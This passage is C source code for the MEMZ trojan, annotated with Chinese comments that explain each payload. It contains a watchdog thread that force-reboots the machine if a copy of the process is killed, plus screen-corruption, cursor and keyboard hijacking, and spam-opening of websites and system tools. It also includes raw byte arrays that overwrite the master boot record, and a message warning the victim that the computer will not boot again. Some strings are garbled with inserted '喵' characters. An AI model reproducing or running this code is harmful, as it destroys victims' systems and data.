Sleep(20000);
CreateThread(NULL, NULL, &payloadThread, &payloadMessageBox, NULL, NULL);//弹窗讽刺
Sleep(40000);
CreateThread(NULL, NULL, &payloadThread, &payloadChangeText, NULL, NULL);//反转文字
Sleep(80000);
CreateThread(NULL, NULL, &payloadThread, &payloadPIP, NULL, NULL);//异次元通道
Sleep(15000);
CreateThread(NULL, NULL, &payloadThread, &payloadPuzzle, NULL, NULL);//屏幕错位
for (;;) {
Sleep(10000);
}
ExitProcess(-1);
}
//watchdog主体函数
DWORD WINAPI watchdogThread(LPVOID parameter) {
int oproc = 0;
char *fn = (char *)LocalAlloc(LMEM_ZEROINIT, 512);
GetProcessImageFileNameA(GetCurrentProcess(), fn, 512);
Sleep(1000);
for (;;) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
PROCESSENTRY32 proc;
proc.dwSize = sizeof(proc);
Process32First(snapshot, &proc);
int nproc = 0;
do {
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, proc.th32ProcessID);
char *fn2 = (char *)LocalAlloc(LMEM_ZEROINIT, 512);
GetProcessImageFileNameA(hProc, fn2, 512);
if (!lstrcmpA(fn, fn2)) {
nproc++;
}
CloseHandle(hProc);
LocalFree(fn2);
} while (Process32Next(snapshot, &proc));
CloseHandle(snapshot);
if (nproc < oproc) {
// Privilege crap
HANDLE token;
TOKEN_PRIVILEGES privileges;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &privileges.Privileges[0].Luid);
privileges.PrivilegeCount = 1;
privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(token, FALSE, &privileges, 0, (PTOKEN_PRIVILEGES)NULL, 0);
// The actual restart
ExitWindowsEx(EWX_REBOOT | EWX_FORCE, SHTDN_REASON_MAJOR_HARDWARE | SHTDN_REASON_MINOR_DISK);
}
oproc = nproc;
Sleep(10);
}
}
//控制特效运行时间
DWORD WINAPI payloadThread(LPVOID parameter) {
int delay = 0;
int times = 0;
int runtime = 0;
int(*function)(int, int) = (int(*)(int, int))parameter;
for (;;) {
if (delay-- == 0) {
delay = (*function)(times++, runtime);
}
runtime++;
Sleep(10);
}
}
//随机打开网站
int payloadExecute(int times, int runtime) {
ShellExecuteA(NULL, "open", (LPCSTR)sites[random() % (sizeof(sites) / sizeof(void*))], NULL, NULL, SW_SHOWDEFAULT);//这里使用random()随机打开网站
return 1500.0 / (times / 15.0 + 1) + 100 + (random() % 200);
}
//反色
int payloadBlink(int times, int runtime) {
HWND hwnd = GetDesktopWindow();
HDC hdc = GetWindowDC(hwnd);
RECT rekt;
GetWindowRect(hwnd, &rekt);//获取窗口句柄
BitBlt(hdc, 0, 0, rekt.right - rekt.left, rekt.bottom - rekt.top, hdc, 0, 0, NOTSRCCOPY);//使用BitBlt()函数，具体怎么用可以查MSDN
ReleaseDC(hwnd, hdc);
return 100;
}
//鼠标鬼畜
int payloadCursor(int times, int runtime) {
POINT cursor;
GetCursorPos(&cursor);
//通过设置鼠标位置来造成鼠标乱动的效果
SetCursorPos(cursor.x + (random() % 3 - 1) * (random() % (runtime / 2200 + 1)), cursor.y + (random() % 3 - 1) * (random() % (runtime / 2200 + 1)));
return 2;
}
int payloadMessageBox(int times, int runtime) {
CreateThread(NULL, 4096, &messageBoxThread, NULL, NULL, NULL);
//引用下一个函数，来弹出对话框
return 2000.0 / (times / 10.0 + 1) + 100 + (random() % 120);
}
DWORD WINAPI messageBoxThread(LPVOID parameter) {
HHOOK hook = SetWindowsHookEx(WH_C喵, msgBoxHook, 0, GetCurrentThreadId());//使用hook来设置弹窗位置
MessageBoxW(NULL, L"Still using this computer?", L"lol", MB_SYSTEMMODAL | MB_OK | MB_ICONWARNING);//弹窗
UnhookWindowsHookEx(hook);
return 0;
}
//随机对话框位置
LRESULT CALLBACK msgBoxHook(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC喵_CREATEWND) {
CREATESTRUCT *pcs = ((C喵_CREATEWND *)lParam)->lpcs;
if ((pcs->style & WS_DLGFRAME) || (pcs->style & WS_POPUP)) {
HWND hwnd = (HWND)wParam;
int x = random() % (scrw - pcs->cx);
int y = random() % (scrh - pcs->cy);
pcs->x = x;
pcs->y = y;
}
}
return CallNextHookEx(0, nCode, wParam, lParam);
}
int payloadChangeText(int times, int runtime) {
EnumChildWindows(NULL, &EnumWindowProc, NULL);
//反转文字，引用下一个函数
return 50;
}
//反转文字
BOOL CALLBACK EnumWindowProc(HWND hwnd, LPARAM lParam) {
EnumChildWindows(hwnd, &EnumWindowProc, NULL);
LPWSTR str = (LPWSTR)GlobalAlloc(GMEM_ZEROINIT, sizeof(WCHAR) * 8192);
SendMessageW(hwnd, WM_GETTEXT, 8192, (LPARAM)str);
strReverseW(str);
SendMessageW(hwnd, WM_SETTEXT, NULL, (LPARAM)str);
GlobalFree(str);
return TRUE;
}//播放错误音乐
int payloadSound(int times, int runtime) {
/*使用PlaySoundA函数播放系统"SystemHand"错误音乐*/
PlaySoundA("SystemHand", NULL, SND_ASYNC);
return 20 + (random() % 20);
}
//屏幕错位，代码与反色同理
int payloadPuzzle(int times, int runtime) {
HWND hwnd = GetDesktopWindow();
HDC hdc = GetWindowDC(hwnd);
RECT rekt;
GetWindowRect(hwnd, &rekt);
int x1 = random() % (rekt.right - 100);
int y1 = random() % (rekt.bottom - 100);
int x2 = random() % (rekt.right - 100);
int y2 = random() % (rekt.bottom - 100);
int width = random() % 600;
int height = random() % 600;
BitBlt(hdc, x1, y1, width, height, hdc, x2, y2, SRCCOPY);
ReleaseDC(hwnd, hdc);
return 200.0 / (times / 5.0 + 1) + 5;
}
//随机输入，通过监视键盘事件来改变输入
int payloadKeyboard(int times, int runtime) {
// TODO Fix only 5 bug
INPUT input;
input.type = INPUT_KEYBOARD;
input.ki.wVk = (random() % (0x5a - 0x30)) + 0x30;
SendInput(1, &input, sizeof(INPUT));
return 300 + (random() % 400);
}
//异次元通道，代码与反色同理
int payloadPIP(int times, int runtime) {
HWND hwnd = GetDesktopWindow();
HDC hdc = GetWindowDC(hwnd);
RECT rekt;
GetWindowRect(hwnd, &rekt);
StretchBlt(hdc, 50, 50, rekt.right-100, rekt.bottom-100, hdc, 0, 0, rekt.right, rekt.bottom, SRCCOPY);
ReleaseDC(hwnd, hdc);
return 200.0 / (times / 5.0 + 1) + 5;
}
//注意前面的random()函数不是直接引用，而是手写的！！！
int random() {
int out;
CryptGenRandom(prov, sizeof(out), (BYTE *)(&out));
return out & 0x7fffffff;
}
void strReverseW(LPWSTR str) {
int len = lstrlenW(str);
WCHAR c;
int i, j;
for (i = 0, j = len - 1; i < j; i++, j--)
{
c = str[i];
str[i] = str[j];
str[j] = c;
}
}
#include <Windows.h>
#include <TlHelp32.h>
#include <Shlwapi.h>
#include <Psapi.h>
//必不可少的头文件
int next;
const unsigned char msg[] = "YOUR COMPUTER HAS BEEN ED BY THE MEMZ TROJAN.\r\n\r\nYour computer won't boot up again,\r\nso use it as long as you can!\r\n\r\n:D\r\n\r\nTrying to kill MEMZ will cause your system to be\r\ndestroyed instantly, so don't try it :D";
//提前准备写在notepad的信息
const char *sites[] = {
"喵喵喵+way+to+kill+yourself",
"喵喵喵+2+remove+a+virus",
"喵喵喵+vs+norton",
"喵喵喵+to+send+a+virus+to+my+friend",
"喵喵喵+hax+download+no+virus",
"喵喵喵+to+get+money",
"喵喵喵+buddy+download+free",
"喵喵喵+2+buy+weed",
"喵喵喵+to+code+a+virus+in+visual+basic",
"喵喵喵+happens+if+you+delete+system32",
"喵喵喵+r3kt",
"喵喵喵+virus+download",
"喵喵喵",
"喵喵喵+explorer+is+the+best+browser",
"喵喵喵+hacking+tool+free+download+no+virus+working+2016",
"喵喵喵+builder+legit+free+download",
"喵喵喵+to+create+your+own+ransomware",
"喵喵喵+to+remove+memz+trojan+virus",
"喵喵喵+computer+is+doing+weird+things+wtf+is+happenin+plz+halp",
"喵喵喵",
"喵喵喵",
"喵喵喵",
"calc",
"notepad",
"cmd",
"write",
"regedit",
"explorer",
"taskmgr",
"msconfig",
"mspaint",
"devmgmt.msc",
"control",
"mmc",
};
//打开一堆无法访问的网站和程序
//向MBR写入的内容。为了防止内存爆掉，拆分成两部分
//具体就是那个彩虹猫在飞，图片内容以python播放
const unsigned char code1[] = {
0xB4, 0x02, 0xB0, 0x04, 0xB5, 0x00, 0xB1, 0x02, 0xB6, 0x00, 0xBB, 0xE0,
0x07, 0x8E, 0xC3, 0xBB, 0x00, 0x00, 0xCD, 0x13, 0xBB, 0xE0, 0x07, 0x8E,
0xC3, 0x8E, 0xDB, 0x31, 0xC0, 0x89, 0xC3, 0x89, 0xC1, 0x89, 0xC2, 0xBE,
0x00, 0x00, 0xBF, 0x00, 0x40, 0xAC, 0x81, 0xFE, 0x9E, 0x07, 0x73, 0x35,
0x3C, 0x80, 0x73, 0x03, 0xE9, 0x10, 0x00, 0x24, 0x7F, 0x88, 0xC1, 0xAC,
0xAA, 0xFE, 0xC9, 0x80, 0xF9, 0xFF, 0x75, 0xF7, 0xE9, 0xE2, 0xFF, 0x88,
0xC4, 0xAC, 0x89, 0xC3, 0xAC, 0x89, 0xF2, 0x89, 0xDE, 0x81, 0xC6, 0x00,
0x40, 0x88, 0xC1, 0xAC, 0xAA, 0xFE, 0xC9, 0x80, 0xF9, 0x00, 0x75, 0xF7,
0x89, 0xD6, 0xE9, 0xC4, 0xFF, 0xB0, 0xB6, 0xE6, 0x43, 0xB8, 0x03, 0x10,
0xB3, 0x00, 0xCD, 0x10, 0xBF, 0x00, 0x00, 0xBA, 0xC0, 0x9D, 0xB9, 0x00,
0xB8, 0x8E, 0xC1, 0xB8, 0x00, 0x00, 0xAB, 0x81, 0xFF, 0xA0, 0x0F, 0x7E,
0xF9, 0xBE, 0x9C, 0x9F, 0xB9, 0x00, 0x00, 0x89, 0xCF, 0xE4, 0x61, 0x0C,
0x03, 0xE6, 0x61, 0xB3, 0x01, 0x52, 0xB4, 0x86, 0xB9, 0x00, 0x00, 0xBA,
0x00, 0x60, 0xCD, 0x15, 0x5A, 0x81, 0xFE, 0xE8, 0x9F, 0x7D, 0x04, 0xAC,
0xB4, 0xF0, 0xAB, 0xFE, 0xCB, 0x80, 0xFB, 0x00, 0x75, 0xE3, 0x56, 0x89,
0xD6, 0xAD, 0x89, 0xC1, 0x80, 0xE4, 0x1F, 0xE6, 0x42, 0x88, 0xE0, 0xE6,
0x42, 0xC0, 0xED, 0x05, 0xC0, 0xE5, 0x02, 0x88, 0xEB, 0x89, 0xF2, 0x5E,
0x81, 0xFA, 0xF4, 0x9D, 0x75, 0xC3, 0xBE, 0x00, 0x40, 0xBF, 0x00, 0x00,
0xB8, 0xE0, 0x07, 0x8E, 0xD8, 0xB8, 0x00, 0xB8, 0x8E, 0xC0, 0xFE, 0xCB,
0xE9, 0x20, 0x00, 0xB0, 0xDC, 0xAA, 0xAC, 0xAA, 0x81, 0xFE, 0xC0, 0x9D,
0x74, 0x42, 0x81, 0xFF, 0xA0, 0x0F, 0x74, 0x03, 0xE9, 0xEC, 0xFF, 0x52,
0xB4, 0x86, 0xB9, 0x01, 0x00, 0xBA, 0x00, 0x60, 0xCD, 0x15, 0x5A, 0xBF,
0x00, 0x00, 0x81, 0xFA, 0x9C, 0x9F, 0x75, 0x03, 0xBA, 0xF4, 0x9D, 0xFE,
0xCB, 0x80, 0xFB, 0x00, 0x75, 0xCD, 0x56, 0x89, 0xD6, 0xAD, 0x89, 0xC1,
0x80, 0xE4, 0x1F, 0xE6, 0x42, 0x88, 0xE0, 0xE6, 0x42, 0xC0, 0xED, 0x05,
0x88, 0xEB, 0x89, 0xF2, 0x5E, 0xE9, 0xB3, 0xFF, 0xBE, 0x00, 0x40, 0xE9,
0xC1, 0xFF
};
const unsigned char code2[] = {
0x55, 0xAA, 0x83, 0x11, 0x11, 0x11, 0x11, 0x00, 0x00, 0x04, 0x00, 0x00,
0x08, 0x00, 0x00, 0x10, 0x00, 0x00, 0x20, 0x00, 0x35, 0x0B, 0x83, 0xF1,
0xF1, 0x11, 0xF1, 0x00, 0x00, 0x4B, 0x00, 0x96, 0x04, 0x80, 0xFF, 0x00,
0x4F, 0x4F, 0x00, 0x9F, 0x4F, 0x00, 0xEA, 0x53, 0x82, 0x1F, 0xF1, 0x1F,
0x01, 0x42, 0x4E, 0x00, 0x4E, 0x50, 0x02, 0x12, 0x1F, 0x83, 0x10, 0x10,
0x10, 0x10, 0x02, 0x50, 0x04, 0x02, 0x50, 0x08, 0x80, 0x10, 0x02, 0x31,
0x1F, 0x83, 0x14, 0x14, 0x14, 0x14, 0x02, 0x80, 0x04, 0x83, 0x44, 0x44,
0x44, 0x44, 0x02, 0x88, 0x04, 0x02, 0x80, 0x0E, 0x87, 0x40, 0x0E, 0xEE,
0xEE, 0xED, 0xED, 0xED, 0xED, 0x02, 0xA2, 0x04, 0x02, 0xA5, 0x05, 0x82,
0xEE, 0xEE, 0x0E, 0x02, 0x60, 0x1E, 0x02, 0x88, 0x08, 0x83, 0x46, 0x46,
0x46, 0x46, 0x02, 0xD8, 0x04, 0x02, 0xD0, 0x0E, 0x8C, 0x00, 0xEE, 0xED,
0xDD, 0xDC, 0xDD, 0xDD, 0xDD, 0xDD, 0xCD, 0xDD, 0xDD, 0xCD, 0x02, 0xF3,
0x04, 0x83, 0xDD, 0xED, 0xEE, 0x00, 0x02, 0xB3, 0x1D, 0x83, 0x66, 0x66,
0x66, 0x66, 0x03, 0x20, 0x04, 0x03, 0x20, 0x08, 0x03, 0x22, 0x0E, 0x81,
0x00, 0xEE, 0x02, 0xFB, 0x05, 0x03, 0x41, 0x04, 0x83, 0xD0, 0x07, 0x07,
0xD0, 0x02, 0xF9, 0x04, 0x84, 0xEE, 0x00, 0x10, 0x07, 0x07, 0x02, 0xB2,
0x1A, 0x83, 0x6E, 0x6E, 0x6E, 0x6E, 0x03, 0x70, 0x04, 0x83, 0xEE, 0xEE,
0xEE, 0xEE, 0x03, 0x78, 0x04, 0x03, 0x70, 0x08, 0x85, 0x00, 0x07, 0x07,
0x00, 0xE0, 0xEE, 0x03, 0x3E, 0x08, 0x8F, 0xCD, 0xDD, 0xDD, 0x00, 0x77,
0x77, 0x77, 0x07, 0xD0, 0xD0, 0xD0, 0xE0, 0x07, 0x77, 0x77, 0x77, 0x03,
0x02, 0x1A, 0x03, 0x78, 0x08, 0x83, 0xEA, 0xEA, 0xEA, 0xEA, 0x03, 0xC8,
0x04, 0x03, 0xC0, 0x08, 0x85, 0x0A, 0x00, 0x70, 0x77, 0x07, 0x00, 0x03,
0x8E, 0x05, 0x02, 0xFA, 0x04, 0x81, 0xDC, 0xD0, 0x03, 0xA2, 0x04, 0x80,
0x77, 0x03, 0xEA, 0x04, 0x03, 0xEE, 0x04, 0x03, 0x55, 0x1A, 0x83, 0xAA,
0xAA, 0xAA, 0xAA, 0x04, 0x10, 0x04, 0x04, 0x10, 0x08, 0x04, 0x16, 0x0A,
0x85, 0x0A, 0x00, 0x70, 0x70, 0x00, 0xEE, 0x02, 0xF9, 0x07, 0x03, 0x98,
0x05, 0x80, 0xF0, 0x04, 0x38, 0x04, 0x80, 0x70, 0x04, 0x3B, 0x05, 0x03,
0xA6, 0x19, 0x83, 0xA3, 0xA3, 0xA3, 0xA3, 0x04, 0x60, 0x04, 0x83, 0x33,
0x33, 0x33, 0x33, 0x04, 0x68, 0x04, 0x04, 0x60, 0x0D, 0x83, 0x03, 0x00,
0xEE, 0xDE, 0x02, 0xF1, 0x04, 0x03, 0x96, 0x07, 0x81, 0x77, 0x70, 0x04,
0x3F, 0x04, 0x04, 0x8C, 0x04, 0x04, 0x46, 0x1A, 0x04, 0x68, 0x08, 0x87,
0x39, 0x39, 0x39, 0x39, 0xF9, 0x39, 0x39, 0x39, 0x04, 0xB0, 0x0C, 0x9A,
0x39, 0x30, 0x00, 0xE0, 0xEE, 0xEE, 0xDE, 0xDE, 0xDE, 0xDE, 0xDE, 0xDE,
0xDE, 0x0E, 0x70, 0x77, 0x77, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07,
0x77, 0x70, 0x01, 0x03, 0xA7, 0x19, 0x83, 0x99, 0x99, 0x99, 0x99, 0x05,
0x00, 0x04, 0x81, 0x99, 0x9F, 0x05, 0x04, 0x06, 0x05, 0x00, 0x09, 0x88,
0x99, 0x99, 0x99, 0x00, 0x77, 0x77, 0x70, 0x00, 0x01, 0x03, 0x88, 0x04,
0x83, 0x01, 0x01, 0x01, 0x01, 0x05, 0x21, 0x06, 0x05, 0x2B, 0x05, 0x03,
0x05, 0x1B, 0x83, 0x91, 0x91, 0x91, 0x91, 0x05, 0x50, 0x04, 0x05, 0x48,
0x10, 0x05, 0x5C, 0x04, 0x05, 0x27, 0x04, 0x05, 0x6A, 0x05, 0x05, 0x59,
0x07, 0x05, 0x6D, 0x07, 0x01, 0xB8, 0x98, 0x00, 0x9F, 0xF1, 0x06, 0x99,
0x73, 0x05, 0xAC, 0x93, 0x07, 0x7F, 0x06, 0x07, 0x7F, 0x4B, 0x82, 0xF1,
0x11, 0x1F, 0x05, 0xAB, 0xFF, 0x08, 0xAA, 0xBB, 0x02, 0x50, 0xF9, 0x03,
0x48, 0x05, 0x03, 0x4E, 0x05, 0x80, 0x11, 0x03, 0x53, 0x1C, 0x03, 0x70,
0x18, 0x84, 0xEE, 0xE0, 0xE0, 0xEE, 0xEE, 0x03, 0x8D, 0x0C, 0x03, 0x98,
0x08, 0x81, 0xE0, 0x00, 0x03, 0xA2, 0x1D, 0x03, 0xC0, 0x18, 0x04, 0x44,
0x04, 0x81, 0xE0, 0xE0, 0x03, 0xDE, 0x0A, 0x80, 0xDD, 0x03, 0xE8, 0x27,
0x04, 0x11, 0x1A, 0x83, 0x70, 0x70, 0x77, 0x77, 0x04, 0x2E, 0x0A, 0x04,
0x37, 0x28, 0x04, 0x60, 0x1C, 0x80, 0x03, 0x04, 0x7D, 0x0B, 0x04, 0x87,
0x28, 0x04, 0xC0, 0x0D, 0x04, 0xBD, 0x10, 0x80, 0x39, 0x04, 0xCE, 0x0B,
0x04, 0xD8, 0x27, 0x05, 0x10, 0x0C, 0x0C, 0xD0, 0x0C, 0x05, 0x17, 0x08,
0x05, 0x20, 0x0B, 0x05, 0x2A, 0x25, 0x05, 0x62, 0x06, 0x80, 0xF1, 0x05,
0x57, 0x15, 0x05, 0x71, 0x07, 0x05, 0x72, 0x11, 0x05, 0x82, 0x2A, 0x05,
0xAD, 0xFF, 0x06, 0xB1, 0xFF, 0x07, 0xB5, 0xAE, 0x81, 0x11, 0x11, 0x01,
0x92, 0x4F, 0x00, 0xDC, 0xB5, 0x0E, 0xFC, 0x9C, 0x00, 0x4B, 0x54, 0x0A,
0x59, 0x15, 0x12, 0x25, 0x0A, 0x84, 0x10, 0x0E, 0x0E, 0x0E, 0x0E, 0x12,
0x40, 0x04, 0x12, 0x40, 0x08, 0x0A, 0x81, 0x1F, 0x80, 0x11, 0x0A, 0xA9,
0x15, 0x12, 0x75, 0x09, 0x83, 0x00, 0xEE, 0xEE, 0xED, 0x0C, 0x04, 0x05,
0x80, 0xDC, 0x0B, 0xB5, 0x04, 0x0A, 0xCD, 0x05, 0x0A, 0xD1, 0x41, 0x0C,
0x01, 0x08, 0x82, 0xDD, 0xD0, 0xD0, 0x12, 0x99, 0x04, 0x12, 0xA1, 0x04,
0x0A, 0x2F, 0x1B, 0x0B, 0x49, 0x10, 0x13, 0x10, 0x0E, 0x0B, 0x5E, 0x08,
0x12, 0x9A, 0x04, 0x80, 0x00, 0x0B, 0x6C, 0x04, 0x03, 0x4F, 0x06, 0x0B,
0x75, 0x1B, 0x0B, 0x99, 0x0F, 0x0B, 0x98, 0x0F, 0x13, 0x2E, 0x05, 0x12,
0x9A, 0x05, 0x0C, 0x57, 0x07, 0x0C, 0xB1, 0x05, 0x0B, 0x74, 0x1C, 0x04,
0x10, 0x1A, 0x82, 0xA0, 0xA0, 0xA0, 0x03, 0xDD, 0x04, 0x13, 0x83, 0x06,
0x80, 0xCD, 0x13, 0x89, 0x05, 0x80, 0x7F, 0x0C, 0x64, 0x04, 0x13, 0xDB,
0x06, 0x0C, 0x68, 0x1F, 0x0C, 0x30, 0x11, 0x0B, 0x72, 0x04, 0x04, 0x2C,
0x05, 0x13, 0x32, 0x0B, 0x80, 0x77, 0x13, 0x91, 0x05, 0x80, 0x07, 0x14,
0x2C, 0x05, 0x13, 0xE8, 0x18, 0x0C, 0x89, 0x15, 0x14, 0x55, 0x04, 0x88,
0x03, 0x03, 0x03, 0x03, 0x33, 0x00, 0xEE, 0xEE, 0xDE, 0x12, 0xE2, 0x07,
0x80, 0x0D, 0x0C, 0x64, 0x05, 0x81, 0x70, 0x70, 0x04, 0x2B, 0x04, 0x80,
0x77, 0x0C, 0xB5, 0x1A, 0x05, 0x0E, 0x0E, 0x0C, 0xDD, 0x11, 0x84, 0x07,
0xE0, 0xE0, 0xE0, 0xE0, 0x14, 0xC0, 0x04, 0x87, 0xE0, 0xE0, 0xE0, 0x00,
0x70, 0x70, 0x70, 0x70, 0x14, 0xCC, 0x04, 0x80, 0x70, 0x04, 0xE5, 0x1B,
0x81, 0xF1, 0x1F, 0x11, 0xCF, 0x05, 0x05, 0x50, 0x17, 0x80, 0x00, 0x14,
0xD4, 0x04, 0x82, 0x01, 0x70, 0x70, 0x14, 0x38, 0x07, 0x15, 0x13, 0x05,
0x15, 0x13, 0x0A, 0x05, 0xAD, 0xFF, 0x0F, 0xE2, 0xE7, 0x0F, 0xD9, 0x93,
0x05, 0xAC, 0xFF, 0x16, 0x23, 0xA0, 0x17, 0xA5, 0x04, 0x08, 0x18, 0x4D,
0x08, 0x14, 0x5B, 0x12, 0x20, 0xFF, 0x13, 0x1F, 0xAD, 0x81, 0x07, 0x07,
0x13, 0xCE, 0x4A, 0x83, 0xA0, 0x07, 0x77, 0x70, 0x14, 0x1C, 0x4C, 0x84,
0x03, 0x70, 0x70, 0x03, 0x33, 0x14, 0x6D, 0x34, 0x14, 0xA2, 0x1C, 0x81,
0x90, 0x07, 0x14, 0xBF, 0x31, 0x05, 0x49, 0x1D, 0x15, 0x0E, 0xFF, 0x18,
0x97, 0xFF, 0x08, 0x15, 0x94, 0x14, 0xF0, 0x07, 0x05, 0xAD, 0xFF, 0x16,
0x2D, 0xFF, 0x20, 0x84, 0x4C, 0x0A, 0x50, 0x1E, 0x81, 0x44, 0x40, 0x1A,
0x10, 0x30, 0x0A, 0xA0, 0x20, 0x1A, 0x60, 0x5A, 0x81, 0xD0, 0xD0, 0x22,
0x38, 0x05, 0x0B, 0x21, 0x04, 0x21, 0xF1, 0x1B, 0x0B, 0x40, 0x19, 0x1B,
0x49, 0x0A, 0x22, 0x34, 0x06, 0x1B, 0x0A, 0x07, 0x81, 0xDD, 0xEE, 0x14,
0x18, 0x04, 0x03, 0xA6, 0x31, 0x81, 0xE0, 0x07, 0x03, 0x89, 0x04, 0x0B,
0xAD, 0x06, 0x1B, 0xA1, 0x06, 0x1B, 0x5A, 0x26, 0x1B, 0x7F, 0x18, 0x81,
0x0A, 0x0A, 0x1C, 0xA2, 0x04, 0x1B, 0x9D, 0x0B, 0x1B, 0xA9, 0x27, 0x0C,
0x2F, 0x21, 0x22, 0xD1, 0x0B, 0x1B, 0xFC, 0x24, 0x0C, 0x7F, 0x1E, 0x80,
0x30, 0x1C, 0x3E, 0x0A, 0x1C, 0x49, 0x27, 0x1C, 0x6F, 0x1C, 0x80, 0x90,
0x23, 0x18, 0x06, 0x1C, 0x93, 0x2E, 0x05, 0x50, 0x1B, 0x15, 0x0E, 0xFF,
0x10, 0xD9, 0xF8, 0x80, 0xF1, 0x26, 0x50, 0x4D, 0x00, 0x9E, 0x47, 0x82,
0xF1, 0xF1, 0x1F, 0x26, 0xA2, 0x4E, 0x05, 0xAB, 0xFF, 0x06, 0xE0, 0xFF,
0x21, 0xB6, 0xD3, 0x03, 0x49, 0x05, 0x22, 0x8E, 0x05, 0x03, 0x53, 0x35,
0x0B, 0x58, 0x0E, 0x23, 0xC5, 0x08, 0x03, 0x9E, 0x3A, 0x0B, 0xA8, 0x0B,
0x2A, 0x0A, 0x05, 0x03, 0xE8, 0x41, 0x0B, 0xF9, 0x08, 0x23, 0x71, 0x0B,
0x04, 0x3C, 0x40, 0x23, 0xBC, 0x10, 0x04, 0x8C, 0x30, 0x23, 0xFC, 0x1C,
0x24, 0x17, 0x05, 0x0C, 0xAE, 0x22, 0x80, 0x1F, 0x24, 0x40, 0x1D, 0x80,
0x77, 0x24, 0x5E, 0x0C, 0x86, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0C, 0xF4, 0x04, 0x29, 0x0C, 0x1B, 0x24, 0x90, 0x20, 0x2C, 0x7B, 0x05,
0x2C, 0x6B, 0x05, 0x24, 0xAB, 0x0F, 0x00, 0x38, 0xFF, 0x2D, 0x19, 0x7F,
0x2C, 0xFF, 0x4E, 0x27, 0x37, 0x98, 0x26, 0x9D, 0x9A, 0x05, 0xAD, 0xFF,
0x25, 0xF5, 0x5A, 0x1F, 0x6F, 0x40, 0x0A, 0x20, 0x30, 0x19, 0xF0, 0x1E,
0x80, 0x10, 0x0A, 0x6F, 0x31, 0x1A, 0x40, 0x20, 0x02, 0xF0, 0x80, 0x1A,
0xE0, 0x18, 0x0D, 0x01, 0x04, 0x80, 0x60, 0x1A, 0xFD, 0x09, 0x03, 0x96,
0x2A, 0x1B, 0x30, 0x18, 0x80, 0x0E, 0x03, 0xD9, 0x87, 0x1B, 0xD0, 0x18,
0x33, 0x4A, 0x05, 0x04, 0x7D, 0x33, 0x14, 0x50, 0x19, 0x33, 0x9B, 0x04,
0x04, 0xCD, 0x29, 0x30, 0xA1, 0x0A, 0x0C, 0xD1, 0x1F, 0x05, 0x1F, 0x25,
0x1E, 0x89, 0x13, 0x2C, 0x60, 0x15, 0x05, 0x6C, 0x27, 0x08, 0x12, 0xFF,
0x30, 0x33, 0xFD, 0x07, 0xBE, 0xFF, 0x2D, 0x1A, 0xFF, 0x2E, 0x19, 0x93,
0x31, 0x36, 0x0B, 0x80, 0xF0, 0x31, 0x3C, 0xED, 0x0B, 0x19, 0x27, 0x1A,
0xE0, 0x19, 0x81, 0x60, 0x60, 0x1A, 0xFB, 0x0B, 0x0B, 0x66, 0x2A, 0x32,
0xA0, 0x18, 0x0B, 0xA8, 0x88, 0x33, 0x40, 0x1C, 0x0C, 0x4C, 0x34, 0x33,
0x90, 0x1D, 0x80, 0x33, 0x0C, 0x9E, 0x1F, 0x35, 0xE0, 0x13, 0x0C, 0xD0,
0x50, 0x24, 0x89, 0x1D, 0x0D, 0x3D, 0x1D, 0x0F, 0xD9, 0xFF, 0x06, 0xBC,
0xFF, 0x0F, 0x88, 0xFF, 0x10, 0x84, 0xFF, 0x26, 0x54, 0xCA, 0x21, 0xC0,
0xCA, 0x1A, 0xBA, 0x26, 0x22, 0xB0, 0x29, 0x1B, 0x09, 0x27, 0x2A, 0xD0,
0x18, 0x42, 0x4A, 0x06, 0x13, 0x7E, 0x82, 0x2B, 0x70, 0x18, 0x14, 0x18,
0x38, 0x2B, 0xC0, 0x19, 0x84, 0x09, 0x09, 0x09, 0x09, 0x39, 0x1C, 0x3E,
0x4F, 0x14, 0xBD, 0x33, 0x05, 0x50, 0x1C, 0x24, 0xA9, 0x15, 0x80, 0xF1,
0x15, 0x22, 0xFF, 0x16, 0x51, 0xFF, 0x17, 0x50, 0xFF, 0x18, 0x4D, 0xFF,
0x36, 0x7C, 0xD2, 0x41, 0x00, 0xFF, 0x41, 0xFF, 0xAD, 0x1B, 0x9C, 0x34,
0x42, 0xE0, 0x18, 0x80, 0x30, 0x1B, 0xE9, 0x37, 0x43, 0x30, 0x18, 0x84,
0x09, 0x70, 0x70, 0x09, 0x39, 0x43, 0x4D, 0x50, 0x1C, 0x8D, 0x33, 0x43,
0xD0, 0x1D, 0x43, 0xEE, 0x0C, 0x82, 0xF1, 0xF1, 0x1F, 0x24, 0xBA, 0x4F,
0x46, 0x55, 0xD1, 0x1E, 0x3B, 0xFF, 0x01, 0x5B, 0x37, 0x05, 0xAD, 0xFF,
0x16, 0x29, 0xFF, 0x4F, 0x30, 0x80, 0x19, 0xF0, 0xCA, 0x22, 0x8A, 0x26,
0x1A, 0xE0, 0x29, 0x22, 0xD9, 0x27, 0x3A, 0x70, 0x17, 0x23, 0x17, 0x89,
0x3B, 0x10, 0x20, 0x23, 0xC0, 0x30, 0x33, 0x90, 0x1F, 0x24, 0x0F, 0x81,
0x4B, 0x99, 0x1B, 0x4B, 0xBD, 0x04, 0x44, 0x01, 0x05, 0x40, 0x84, 0x06,
0x4B, 0xCC, 0x48, 0x2F, 0x50, 0xD0, 0x3F, 0xE2, 0x9D, 0x40, 0x81, 0x04,
0x2F, 0x01, 0xFF, 0x05, 0xAD, 0xFF, 0x06, 0xFA, 0xFF, 0x50, 0x80, 0xE9,
0x2A, 0x59, 0x27, 0x3A, 0x20, 0x26, 0x2A, 0xA6, 0x2A, 0x3A, 0x70, 0x23,
0x2A, 0xF3, 0x7D, 0x52, 0x80, 0x2C, 0x33, 0x6C, 0x3B, 0x80, 0x3F, 0x52,
0xE8, 0x10, 0x2B, 0xE8, 0x27, 0x53, 0x1F, 0x16, 0x80, 0xF9, 0x5B, 0x02,
0x04, 0x2C, 0x2A, 0x35, 0x53, 0x6F, 0x15, 0x80, 0xF1, 0x5B, 0x45, 0x05,
